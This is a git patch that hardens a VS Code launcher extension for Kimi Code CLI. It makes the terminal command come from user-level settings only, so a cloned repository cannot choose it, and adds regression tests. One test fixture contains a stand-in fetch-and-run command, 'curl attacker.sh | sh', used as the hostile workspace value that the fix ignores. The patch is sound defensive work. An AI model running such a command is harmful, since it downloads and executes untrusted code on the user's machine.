From e06938ee7af3a8dae8998b80cda245dc73efed03 Mon Sep 17 00:00:00 2001 From: thestreamcode Date: Sat, 25 Jul 2026 23:31:13 +0200 Subject: [PATCH] fix(security): resolve cliCommand from user settings only `configuration.get('cliCommand')` also resolves workspace and workspace-folder values, so a cloned repository shipping a .vscode/settings.json could choose the command sent to the terminal on the first toolbar click. Workspace trust does not help: the extension already refuses to run in an untrusted workspace, so the only reachable case is a trusted one -- the routine state after opening a clone. Adds resolveCliCommandSetting, which reads globalValue/defaultValue via configuration.inspect(), matching the hardening the sibling launchers have carried since their first release, plus regression tests covering the workspace-override case. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 6 ++++++ package-lock.json | 4 ++-- package.json | 2 +- src/command-utils.ts | 16 ++++++++++++++++ src/extension.ts | 4 ++-- test/command-utils.test.js | 29 +++++++++++++++++++++++++++++ test/metadata.test.js | 2 +- 7 files changed, 57 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b56e3fe..6051308 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file. The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## 0.1.2 - 2026-07-25 + +### Security + +- The launch command is now read from user-level settings only. `configuration.get('cliCommand')` also resolves workspace and workspace-folder values, so a cloned repository shipping a `.vscode/settings.json` could choose the command sent to the terminal on the first toolbar click. The extension now inspects the setting and reads `globalValue`/`defaultValue`, matching the hardening the sibling launchers have carried since their first release. + ## 0.1.1 - 2026-07-16 ### Changed diff --git a/package-lock.json b/package-lock.json index e44d013..185dbb1 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "vscode-kimi-code-cli-launcher", - "version": "0.1.1", + "version": "0.1.2", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "vscode-kimi-code-cli-launcher", - "version": "0.1.1", + "version": "0.1.2", "license": "MIT", "devDependencies": { "@types/node": "^22.20.0", diff --git a/package.json b/package.json index 62aac72..37c1501 100644 --- a/package.json +++ b/package.json @@ -3,7 +3,7 @@ "displayName": "Kimi Code CLI Launcher — Run Kimi in VS Code", "description": "Launch Kimi Code CLI from the VS Code editor toolbar in one click. Opens a fresh side terminal in your workspace. Unofficial; Windows, macOS and Linux.", "publisher": "mikesoft", - "version": "0.1.1", + "version": "0.1.2", "repository": { "type": "git", "url": "https://github.com/TheStreamCode/vscode-kimi-code-cli-launcher.git" diff --git a/src/command-utils.ts b/src/command-utils.ts index 5a17814..c0d9ff4 100644 --- a/src/command-utils.ts +++ b/src/command-utils.ts @@ -7,12 +7,28 @@ type WorkspaceLike = { getWorkspaceFolder(uri: T): WorkspaceFolderLike | undefined; }; type ActiveEditorLike = { document: { uri: T } }; +type ConfigurationInspectionLike = { + defaultValue?: T; + globalValue?: T; +}; /** Returns a trimmed CLI command with the default command as fallback. */ export function normalizeCliCommand(value: string | undefined, fallback = FALLBACK_CLI_COMMAND): string { return (value ?? fallback).trim(); } +/** Resolves launch command from user-level configuration only, ignoring workspace-controlled values. */ +export function resolveCliCommandSetting( + inspection: ConfigurationInspectionLike | undefined, + fallback = FALLBACK_CLI_COMMAND, +): string { + const value = inspection?.globalValue !== undefined + ? inspection.globalValue + : inspection?.defaultValue ?? fallback; + + return normalizeCliCommand(value, fallback); +} + /** Returns a trimmed terminal base name or its fallback. */ export function normalizeTerminalName(value: string | undefined, fallback = FALLBACK_TERMINAL_NAME): string { return (value ?? fallback).trim() || fallback; diff --git a/src/extension.ts b/src/extension.ts index 977470b..fd2c144 100644 --- a/src/extension.ts +++ b/src/extension.ts @@ -4,8 +4,8 @@ import { FALLBACK_TERMINAL_NAME, buildExtensionSettingsQuery, buildTerminalName, - normalizeCliCommand, normalizeTerminalName, + resolveCliCommandSetting, resolveTerminalCwd, } from './command-utils.js'; @@ -38,7 +38,7 @@ export function activate(context: vscode.ExtensionContext): void { } const configuration = vscode.workspace.getConfiguration(SETTINGS_NAMESPACE); - const cliCommand = normalizeCliCommand(configuration.get('cliCommand', FALLBACK_CLI_COMMAND)); + const cliCommand = resolveCliCommandSetting(configuration.inspect('cliCommand'), FALLBACK_CLI_COMMAND); const configuredTerminalName = configuration.get('terminalName', FALLBACK_TERMINAL_NAME); const terminalBaseName = normalizeTerminalName(configuredTerminalName); const terminalName = buildTerminalName(configuredTerminalName, terminalSequence); diff --git a/test/command-utils.test.js b/test/command-utils.test.js index b16a31d..d1bd788 100644 --- a/test/command-utils.test.js +++ b/test/command-utils.test.js @@ -6,9 +6,38 @@ const { normalizeTerminalName, buildTerminalName, buildExtensionSettingsQuery, + resolveCliCommandSetting, resolveTerminalCwd, } = require('../out/command-utils.js'); +// The resolved command is sent straight to a terminal. `configuration.get()` +// also resolves workspace values, so a cloned repo shipping a .vscode/settings.json +// could pick the command that runs on the first toolbar click. These cover the +// user-level-only contract that keeps that from happening. +test('resolveCliCommandSetting prefers the user-level value', () => { + assert.equal( + resolveCliCommandSetting({ defaultValue: 'kimi', globalValue: 'kimi --verbose' }), + 'kimi --verbose', + ); +}); + +test('resolveCliCommandSetting ignores workspace-controlled values', () => { + // A workspaceValue/workspaceFolderValue is never read, so a hostile repo + // cannot substitute the command. + assert.equal( + resolveCliCommandSetting({ + defaultValue: 'kimi', + workspaceValue: 'curl attacker.sh | sh', + workspaceFolderValue: 'curl attacker.sh | sh', + }), + 'kimi', + ); +}); + +test('resolveCliCommandSetting falls back when inspection is undefined', () => { + assert.equal(resolveCliCommandSetting(undefined), 'kimi'); +}); + test('normalizeCliCommand trims configured values', () => { assert.equal(normalizeCliCommand(' kimi --continue '), 'kimi --continue'); }); diff --git a/test/metadata.test.js b/test/metadata.test.js index 0f4b7c4..6f61c3f 100644 --- a/test/metadata.test.js +++ b/test/metadata.test.js @@ -35,7 +35,7 @@ test('package metadata exposes the stable launcher interface', () => { 'Launch Kimi Code CLI from the VS Code editor toolbar in one click. Opens a fresh side terminal in your workspace. Unofficial; Windows, macOS and Linux.', ); assert.equal(packageJson.publisher, 'mikesoft'); - assert.equal(packageJson.version, '0.1.1'); + assert.equal(packageJson.version, '0.1.2'); assert.equal(JSON.parse(readText('package-lock.json')).version, packageJson.version); assert.equal(packageJson.icon, 'media/icon.png'); assert.equal(packageJson.engines.vscode, '^1.103.0');